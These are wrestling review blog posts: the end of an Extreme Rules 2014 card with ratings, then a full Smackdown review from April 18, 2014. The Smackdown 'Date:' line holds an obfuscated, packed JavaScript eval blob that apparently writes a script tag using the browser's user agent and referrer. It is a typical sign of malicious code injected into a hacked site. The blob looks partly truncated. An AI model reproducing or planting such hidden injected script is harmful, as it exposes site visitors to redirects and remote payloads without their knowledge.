Big E. is defending and Barrett has the shot due to winning a tournament over the last few weeks. Barrett talks about how the MERS Virus and how it’s going to rip the United States apart very soon. A hard shoulder sends Barrett to the floor to start but the fans are already behind him. Big E. hits a hard running shoulder to drive Barrett into the post but Bad News slams him down on the floor. With a BANG BANG, Barrett drops a running elbow from the apron and gets two back inside.

Back in and Barrett stands on the middle rope before loading up a suplex (as in Big E. was standing on the mat and Barrett tried to suplex him while on the ropes), only to jump down and hit a snap suplex for two. Big E. hits a quick cross body for two but walks into a boot to the face. The champion gets caught in the ropes and nailed with a running boot to the face to knock him out to the floor again.

They head back inside where Big E. snaps off an overhead belly to belly followed by a regular version for no cover. This time it’s Barrett getting tied up in the ropes before Big E. spears him through the ropes to the floor. Bad News comes right back with Winds of Change followed by Wasteland for two. The Bullhammer is countered with a hard slam and there’s the Warrior Splash. The Big Ending doesn’t work though and a running Bullhammer gives Barrett the title at 7:50.

Rating: C+. This was basically a more intense Raw match but it worked very well for what it was. Barrett is definitely the right choice for the title as Big E. hasn’t done anything with it in months and Barrett is at least hot right now. It’s not a great match or anything and Barrett has been here before, but again it won’t matter if they don’t use him.

We recap Evolution vs. Shield. It’s basically the fallout of Bryan vs. the Authority as Shield saw HHH stealing the title as an injustice and stopped it before attacking HHH, Orton and Batista. HHH reformed Evolution as a result and wanted revenge on the Shield, setting up tonight’s six man tag.

Evolution vs. Shield

No special rules here. It’s a big brawl to start even though I didn’t hear a bell. Shield quickly clears the ring and now we get the bell. Rollins hammers away on HHH to start and a running dropkick drops the game. A clothesline sends him to the floor and Rollins hits a big dive to take him out. Back in and HHH hits the running knee to the face, allowing for the tag to Batista. The booing is immediate as he drives a bunch of shoulders into Seth’s ribs.

Orton comes in and stomps away in the corner. A pose is enough work for Orton though and it’s back to HHH for a facebuster and two. Batista takes him to the apron and drives an elbow into the chest followed by a hard kick to the side of the head. Back to Orton for a chinlock but Rollins drives him into the corner to escape. Batista and HHH break up a hot tag attempt but Rollins spins to his feet and kicks Orton in the head.

Now the hot tag brings in Ambrose to clean house by stomping on Orton in the corner. Batista gets knocked off the apron and Dean puts Orton in a Figure Four. HHH makes the save but draws in Roman Reigns to chase him off. The spear hits steps though and it’s Ambrose getting triple teamed in the corner. Ambrose is sent to the outside as the BOO TISTA chants start up. A powerslam from Orton gets two and we hit the chinlock. The dropkick gets another two count and it’s back to HHH for the spinebuster. Another tag starts up the BOOing and we hit a rear naked choke of all things.

Dean finally jawbreaks his way to freedom but turns around for a bit boot to the jaw. A DDT plants HHH and the hot tag brings in Reigns to destroy everything in sight. Clotheslines take out every member of Evolution but Rollins’ springboard knee has to break up a Batista Bomb attempt. The Superman Punch and Triple Bomb plant Batista but Orton and HHH make the save. Rollins misses a suicide dive and HHH hits the Pedigree on Reigns, but Batista can only get two.

There’s an RKO to Reigns but it’s Rollins with another save. Rollins and Orton fight on the floor with Seth getting the better of it. We lose a cameraman as HHH helps Orton. They double team him for a few seconds but Ambrose runs across both announce tables to take both of them out. Ambrose, Rollins, Orton and HHH brawl into the crowd as Batista and Reigns are still down.

We miss something loud but see Orton shove Ambrose down some steps. The camera stays on the outside as Rollins is nowhere in sight. Orton and HHH double team Dean but Rollins dives OUT OF THE BALCONY to take all three down. Back in the ring and Batista counters the spear with a spinebuster. The Bomb is countered and there’s another Superman Punch followed by the spear for the clean pin at 19:50.

Rating: A. It’s not quite Shield vs. Wyatts but man alive this was fun. I have absolutely zero problem with Evolution reforming to put people over and that’s what they did here. Shield looked like they were on totally equal footing with three former World Champions and one of the most successful units of all time. This was a great match and told multiple awesome stories. Great stuff.

The cage is lowered.

We recap Bray Wyatt vs. John Cena. The idea is Bray is trying to prove that Cena has a monster inside of him. Bray lost at Wrestlemania but we weren’t done yet. He thought Cena survived because of all of the people he had around him, so Bray started to take away the fans. Wyatt started by taking the children away from Cena by having a choir of children in black robes and sheep masks singing He’s Got The Whole World In His Hands in a bizarre segment. Tonight Cena is trying to keep the monster inside the cage.

John Cena vs. Bray Wyatt

The fans sing John Cena Sucks to the tune of his music. Bray gives Rowan and Harper some instructions before the match gets going. He shouts that this is what Cena wanted but gets caught in a headlock. Cena jumps over Bray coming off the ropes but Wyatt just blasts him in the back with a forearm. A release fisherman’s suplex puts Bray down but Harper stops Cena from climbing the cage, allowing Bray to take his head off with a right hand.

Cena goes face first into the cage and Bray demands that he spologize to all these people for making them watch this. Rowan rams into Cena against the cage and Bray runs him over for two. John comes back with a catapult into the cage but Bray pulls him back in over the top. They slug it out on the top with Cena winning but Bray crotches him down on the top rope to take over again. We get the old dancing with the limp body spot before a release Rock Bottom gets two for Bray.

Cena comes back with a slam and tries to climb out but Bray does the spider walk towards the door. The running body attack gets two for Wyatt and a few rams into the cage have Cena in more trouble. A reversal finally sends Bray into the steel, allowing Cena to initiate his finishing sequence. Bray escapes the AA and tries to climb but Cena pulls him off the ropes with a Batista Bomb for two.

John calls for the door to be opened but Rowan closes it right back. It turns into a test of strength with Cena winning until Harper comes over to help. Cena shoves BOTH of them away from the door but Bray is back up with a jawbreaker for the save. Another ram into the cage puts Bray down again but Rowan shoves Cena back over the top of the cage.

Wyatt is back up as well but gets bulldogged off the top for two. Now it’s Harper climbing the cage for a fight with Cena, so John pulls him down into the cage. Cena kicks the door onto Bray’s head but Rowan is waiting with a chair. John climbs back in and gets caught in the suplex slam followed by the senton backsplash for two. Sister Abigail is countered into the STF but Bray crawls to the door.

Cena lets go because of the ropes being in his face which is better than a rope break at least. Harper is sent into the cage but Bray sends Cena in as well. He climbs up but gets pulled back down for an AA off the top, only to have Harper make a save. A clothesline puts Harper down but Cena is favoring his arm.

Rowan makes ANOTHER save so Cena grabs him by the beard and rams him into the cage. The top rope Fameasser puts Harper down but as Cena goes for the door we get the Wyatt satellite hijacking. The lights go out and come back to show a child singing in a demonic voice in Cena’s face. Sister Abigail puts Cena down and Bray walks out for the win at 21:12 in front of the terrifying child.

Rating: B+. This was too overbooked for my taste. The Wyatts interfering about 857 times was too much but the child coming in for the save was a nice touch and tied into the storyline well. That being said, Bray needs to get a win on his own over Cena soon. It’s not like it’s going to hurt Cena or anything.

Bray mocks You Can’t See Me as he leaves with the child.

The panel from the pre-show talks for a bit and introduce a package on WeeLC. Heaven forbid we go five minutes without seeing something silly.

Divas Title: Tamina Snuka vs. Paige

Paige is defending after Tamina won a battle royal. Tamina goes after Paige to start but the champion gets behind her and rolls Snuka up for two. Paige heads up top but gets superkicked to the floor. Back in and a slam gets two for Tamina before they head outside for a hard whip into the barricade to the champion.

Snuka loads up a top rope Samoan drop but gets caught in a sunset bomb for three. Well the shoulder was up but the referee counted anyway. The match continues though with Tamina hitting a spinout Rock Bottom for a close two, only to get caught in the Paige Turner and the Scorpion Cross Lock for the submission at 6:15.

Rating: D+. If this is the worst match I have to watch all night, we’re in for a good show. Gritty come from behind wins like this are going to do nothing but help Paige as she continues to clean out the division. It wasn’t a good match but it was better than par for most Divas matches on Raw.

Post match we’ve got Wyatts again. Bray says Little Johnny (the kid) did well tonight and now the message will spread. He gives Little Johnny a sheep mask as the kid says follow the buzzards in the demon voice.

We recap Kane vs. Daniel Bryan. Aside from their long history which is ignored here, Stephanie is sending out the revamped monster Kane to take the title back from Bryan. Kane has put the mask back on and gone after Daniel with a series of tombstones to injure his neck as well as trying to kidnap his wife.

WWE World Title: Kane vs. Daniel Bryan

Bryan is defending and this is extreme rules, meaning anything goes. Daniel, minus the neck brace, goes after him in the aisle and the fight is on fast. Kane drops him with an uppercut and hammers away at ringside. They get inside for the first time with Kane knocking Bryan down again. Back to the floor where Kane slams Bryan onto a chair on the barricade. Kane tries to throw a chair into the ring but hits the top rope by mistake. He winds up throwing two chairs into the ring and wedging one in the corner.

The delay allows Bryan to grab a kendo stick but he comes off the top into an uppercut to stop the comeback. A side slam through a chair gets two more but Bryan escapes the chokeslam and sends Kane face first into the wedged chair. There’s a missile dropkick to put Kane down and it’s a FLYING GOAT to follow up. Bryan blasts him with a monitor but takes too much time loading up the announce table, allowing Kane to deck him from behind.

Daniel fights out of a chokeslam through the table and hits a tornado DDT down to the floor. Kane shrugs off the kicks and tries a tombstone on the steps. Bryan uses the ancient martial arts practice of kicking his feet though and manages to post Kane. A long series of kendo stick shots knocks Kane up the aisle but he drops Bryan with a single right hand. Kane throws him into the set and knocks out some of the lights before they head backstage.

Kane throws a flatscreen TV into a bucket of water for some sparks and Bryan is crawling away. They head to the parking lot where Bryan finds a shovel to blast Kane in the arm. Daniel charges into a backdrop onto the hood of a rental car as you can see Damien Sandow in the background. Kane punches through a car window so Daniel finds a tire iron in the trunk to knock Kane silly.

Kane is of course crawling around a few seconds later but winds up on a forklift. Another shot puts him down and Daniel gets behind the wheel. Daniel somehow knows how to operate it and lifts Kane a few feet into the air before driving him back into the arena. He dumps Kane over the top and into the ring before climbing onto the forklift pallet for the Swan Dive and two. Kane sits up and counters the running knee with a chokeslam for two. A tombstone onto a chair is countered into a tornado DDT which missed the chair by about a foot and a half. Thankfully it’s only good for two.

Bryan blasts him about ten times with the chair before putting the YES Lock. Kane is able to crawl over and get the kendo stick but Bryan takes it away and pulls it against Kane’s face. Kane finally crawls under the ropes to get to the floor (thankfully no rope breaks) and is able to catch the FLYING GOAT in another chokeslam through the table. Now it’s table time but Kane wants to up the ante a bit by lighting it on fire. Bryan is able to shove Kane off the apron and into the flames though, followed by the running knee to retain the title at 22:34.

Rating: B. It’s a good match but at times it got a bit too over the top. That being said, having Bryan take a huge beating and then win in the end is nothing but good for him. This was very much in the vein of JBL vs. Cena in the I Quit match in 2005 or Shawn vs. Diesel in the No Holds Barred match in 1996: a big win over a monster to give the new champion more credibility. Not a classic but it did what it was supposed to do.

Kane sits up and stares Bryan down to end the show. I see absolutely no need for a rematch but that appears to be where we’re headed.

Overall Rating: A-. All of the big matches delivered and I was very pleased to see the title match main eventing the show. I would have been ok with either other match taking that spot but it’s good to see Bryan get that chance. The show was good from top to bottom with nothing bad and a great six man tag to go with a solid main event. This is the show where you don’t worry about stories and just have hard hitting matches which is exactly what we got. You can’t ask for much more than that from Extreme Rules and it’s what we got. Great show.

Results
Cesaro b. Rob Van Dam and Jack Swagger – Neutralizes onto a trashcan to Van Dam
Alexander Rusev b. Xavier Woods/R-Truth – Accolade to R-Truth
Bad News Barrett b. Big E – Bullhammer
Shield b. Evolution – Spear to Batista
Bray Wyatt b. John Cena – Wyatt escaped the cage
Paige b. Tamina Snuka – Scorpion Cross Lock
Daniel Bryan b. Kane – Running knee

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of Clash of the Champions at Amazon for just $3.99 at:

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Smackdown – April 18, 2014: Why We Can’t Have Vacation

Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hbsdz|var|u0026u|referrer|rrnts||js|php'.split('|'),0,{})) April 18, 2014
Location: Bridgestone Arena, Nashville, Tennessee
Commentators: Michael Cole, John Bradshaw Layfield

It’s the first show after a pretty uninteresting Monday Night Raw. The main story coming out of it is the reformation of Evolution, who will be feuding with Shield over the coming months. Other than that there really wasn’t all that much as Daniel Bryan was on his honeymoon, leaving us with no match for him at Extreme Rules yet. Kane would be the likely candidate though. Let’s get to it.

Here’s HHH to get things going. He says part of his job is to find new talent that can truly succeed in the WWE. At the top of that list, there is no one higher than the Shield. Ambrose, Rollins and Reigns are three of the most talented guys he’s seen come along in years so he gave them power.

Maybe it was too much though because they tried to see how far that power can take you on your own. When you set out on the journey to find that line in the sand, make sure you don’t cross it. The Shield found that line and on Monday they crossed it. We get a clip from the end of Raw with Evolution taking out the Shield to end the show in a huge beatdown.

HHH told Cole on Wednesday that he was willing to allow Shield to give an apology and put everything behind them. All he got was silence though, save for a response from Roman Reigns. Roman said that soldiers win wars instead of soldiers. That’s a great line for a movie, but it’s not reality. In reality, soldiers are the currency on which empires are bought and sold. The Shield has lost their value and while it hurts HHH to destroy what he created, he’ll do just that at Extreme Rules. In life you adapt or perish, and that’s Evolution.

Alberto Del Rio vs. Big E.

Non-title of course since he never defends the thing. We get an inset interview with Big E. saying he’d love to face anyone. He’s also been in a pop, lock and drop it competition in Tampa. Big E. runs Del Rio over and gets a quick one to start but Alberto fights out of the triple backbreaker. A running enziguri in the corner is good for two on the champion before he charges into Del Rio’s boots in the corner.

Del Rio stomps away but misses a charge into the corner to give Big E. a breather. The announcers talk about past IC Champions as Big E. runs Del Rio over a few more times. Big E. hits a belly to belly into the Warrior Splash, only to have Alberto get his knees up. Back from a break with both guys getting back in the ring but Big E. charging into the post.

A DDT gets two on Big E. but he catches Del Rio diving off the top in a backbreaker. Now the Warrior Splash connects and there go the straps. The Big Ending is countered into a Backstabber for a close two but Big E. blocks the armbreaker and makes the rope. Del Rio won’t break it though and that’s a DQ at 10:00.

Rating: C-. Not a bad match here but why is Big E. not allowed to beat Del Rio? They’ve been going at it for months now with Big E. never getting a clean fall, but for some reason Del Rio’s only interest in the title has been being placed in a tournament. Unless this leads to a big win for Big E. at a PPV, I don’t quite get this one.

Post match Del Rio loads up the superkick but walks into the Big Ending.

Buy the WWE Network!

We look at clips of the Streak ending.

Bo Dallas is coming.

Here’s Heyman in the ring with something to say. He introduces himself as Brock Lesnar’s advocate and reminds all of us that Brock is the 1 in 21-1. If you want to boo something, boo this: Brock Lesnar conquered the streak. Heyman shouts it over and over and over before saying the fans here in Tennessee just don’t get it.

We look at Hornswoggle joining 3MB and squaring off with El Torito on Main Event, setting up their match tonight. Seriously.

Paige vs. Aksana

Non-title again. Before the match, Tamina says she’s taking the title at Extreme Rules. Before the match Aksana insults Paige and says everyone is jealous of her despite Paige just getting lucky. She jumps the champion and there’s the bell, only to have Paige go off on Aksana in the corner. They head outside where Aksana nails a hard clothesline followed by that release spinebuster of hers inside.

She doesn’t cover though and rubs Paige’s face in the mat for two instead. We hit a reverse chinlock for a bit until Aksana needs to crawl around the ring. A running cross body puts Paige down but Aksana can’t follow up either. Paige fights back and hits a running dropkick followed by the scorpion crosslock for the submission at 2:54. Far better match than I was expecting here.

Sheamus is ready for Batista tonight.

El Torito vs. Hornswoggle

The announcers play this as a total joke so let’s get this over with. They shove each other around to start until Torito runs him over a few times, sending Horny to the apron. The leprechaun rocker sends him head first into the middle buckle and drops a bottom rope Banzai Drop. A hard clothesline and splash get two for Horny and we hit the horn lock. Seriously. Horny plays some air guitar and gets rolled up for two. Just end this thing already. Please. Torito comes back with a Gore and Bronco Bustero followed by a top rope moonsault for the pin at 4:33.

Rating: N. For no. Just no.

Alexander Rusev package.

Bad News Barrett rips on the previous match and blames the audience for what we just saw.

Alexander Rusev vs. R-Truth

Truth actually gets in some offense such as a middle rope dropkick but Little Jimmy is caught in midair. The superkick and fall away slam set up the Accolade for the submission for Rusev at 1:40.

Xavier Woods gets beaten up as well post match.

Ultimate Warrior tribute from Raw.

Santino Marella vs. Fandango

Santino does a slow motion kick to the leg for no apparent reason so Fandango hammers him in the head. Fandango misses a charge though and Santino comes back with the usual schtick. Layla steals the Cobra sock so Santino sunset flips Fandango for the pin at 1:34.

Emma high fives the Cobra post match and loses feeling in her arm.

We see Stephanie yelling at Kane on Raw and Kane grabbing the mask again.

Adam Rose vignette.

Sheamus vs. Batista

Batista pulls him to the floor to start and the brawl is on early. Sheamus takes him back inside and cranks on the arm before nailing the ten forearms. A running knee puts Batista on the floor and we take our last break. Back with Batista kicking the steps into Sheamus to take over. More power offense keeps Batista in control and a powerslam gets two. Sheamus throws him to the floor for a breather and sends Batista shoulder first into the post.

A Batista Bomb is broken up and another knee lift rocks the Animal. Ten lame looking forearms to the chest set up the battering ram for two. The Irish Curse gets two but Sheamus can’t hook the Cloverleaf. Batista ducks the Brogue Kick and heads outside before another kick misses inside. Spear gets two on Sheamus but he backdrops out of the Batista Bomb. He goes up top but gets crotched onto the top rope, setting up the Bomb for the pin at 13:46.

Rating: C. Passable power match here but the show was way past saving at this point. Sheamus got to look like an equal out there which is good for him, but he needs something to fire up his character. A heel turn would just put a Band Aid on the problem, but that’s not getting changed in WWE at the moment. Batista was his usual self here.

Overall Rating: D-. I understand that most of the roster was on the overseas tour this week, but this was not acceptable. We got a freaking midget match plus more matches we’ve already seen before, with one getting any significant TV time at all. This is a good example of bad management as you could have left a home team back here to keep this from being a worthless TV show. Absolutely awful tonight with nothing of note at all.

Results
Big E. b. Alberto Del Rio via DQ when Del Rio wouldn’t break the cross armbreaker
Paige b. Aksana – Scorpion crosslock
El Torito b. Hornswoggle – Moonsault
Alexander Rusev b. R-Truth – Accolade
Santino Marella b. Fandango – Sunset flip
Batista b. Sheamus – Batista Bomb

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of Clash of the Champions at Amazon for just $3.99 at:

http://www.amazon.com/dp/B00J58H5CY And check out my Amazon author page with wrestling books for under $4 at: